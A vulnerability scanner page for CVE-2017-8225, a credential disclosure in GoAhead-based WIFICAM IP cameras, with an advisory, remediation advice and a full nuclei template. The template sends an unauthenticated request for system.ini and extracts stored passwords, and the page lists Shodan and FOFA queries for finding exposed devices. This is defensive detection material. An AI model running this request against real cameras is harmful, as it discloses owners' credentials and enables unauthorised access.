GoAhead Camera - Credential Disclosure

criticalseverity

9.8CVSS score

35.4%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

GoAhead camera credential disclosure vulnerability in system.ini. The vulnerability affects certain Wireless IP Camera (P2P) WIFICAM devices and allows unauthenticated remote attackers to access the system.ini configuration file through a crafted HTTP request. The exposed configuration may contain sensitive authentication credentials, including usernames and passwords.

Impact

Successful exploitation can disclose camera authentication credentials to an unauthenticated remote attacker, potentially allowing unauthorized access to the affected device.

Fix

Update affected camera firmware to the latest available version. Where firmware updates are unavailable, restrict access to the camera's HTTP interface and avoid exposing the device directly to untrusted networks.

How to confirm it

Send: GET {{BaseURL}}/system.ini?loginuse&loginpas
Positive when: status 200 AND not contains "<html" AND contains in content_type "text/plain" AND matches /[a-zA-Z0-9]{0,10}(admin|user|guest|root|operator|supervisor|tech|service|manage…/

Run it with nuclei: nuclei -id CVE-2017-8225 -u <target>

The full check

id: CVE-2017-8225

info:
  name: GoAhead Camera - Credential Disclosure
  author: K3ysTr0K3R
  severity: critical
  description: |
    GoAhead camera credential disclosure vulnerability in system.ini. The vulnerability affects certain Wireless IP Camera (P2P) WIFICAM devices and allows unauthenticated remote attackers to access the system.ini configuration file through a crafted HTTP request. The exposed configuration may contain sensitive authentication credentials, including usernames and passwords.
  impact: |
    Successful exploitation can disclose camera authentication credentials to an unauthenticated remote attacker, potentially allowing unauthorized access to the affected device.
  remediation: |
    Update affected camera firmware to the latest available version. Where firmware updates are unavailable, restrict access to the camera's HTTP interface and avoid exposing the device directly to untrusted networks.
  reference:
    - https://github.com/K3ysTr0K3R/CVE-2017-8225-EXPLOIT
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8225
  classification:
    cve-id: CVE-2017-8225
    epss-score: 0.35359
    epss-percentile: 0.98461
    cwe-id: CWE-200
    cvss-score: 9.8
  metadata:
    verified: true
    max-request: 1
    shodan-query: "GoAhead-Webs"
    fofa-query: "GoAhead-Webs"
  tags: cve,cve2017,goahead,credentials,camera,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/system.ini?loginuse&loginpas"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "<html"
        negative: true

      - type: word
        part: content_type
        words:
          - "text/plain"

      - type: regex
        part: body
        regex:
          - '[a-zA-Z0-9]{0,10}(admin|user|guest|root|operator|supervisor|tech|service|manager|default|demo|666666|888888)[a-zA-Z0-9]{0,10}'

    extractors:
      - type: regex
        part: body
        name: password
        group: 1
        regex:
          - '(?:[a-zA-Z0-9]{0,10}(?:admin|user|guest|root|operator|supervisor|tech|service|manager|default|demo|666666|888888)[a-zA-Z0-9]{0,10}).{20}([ -~]{1,31})'

References

Use this check only on systems you are authorised to test. Where the data comes from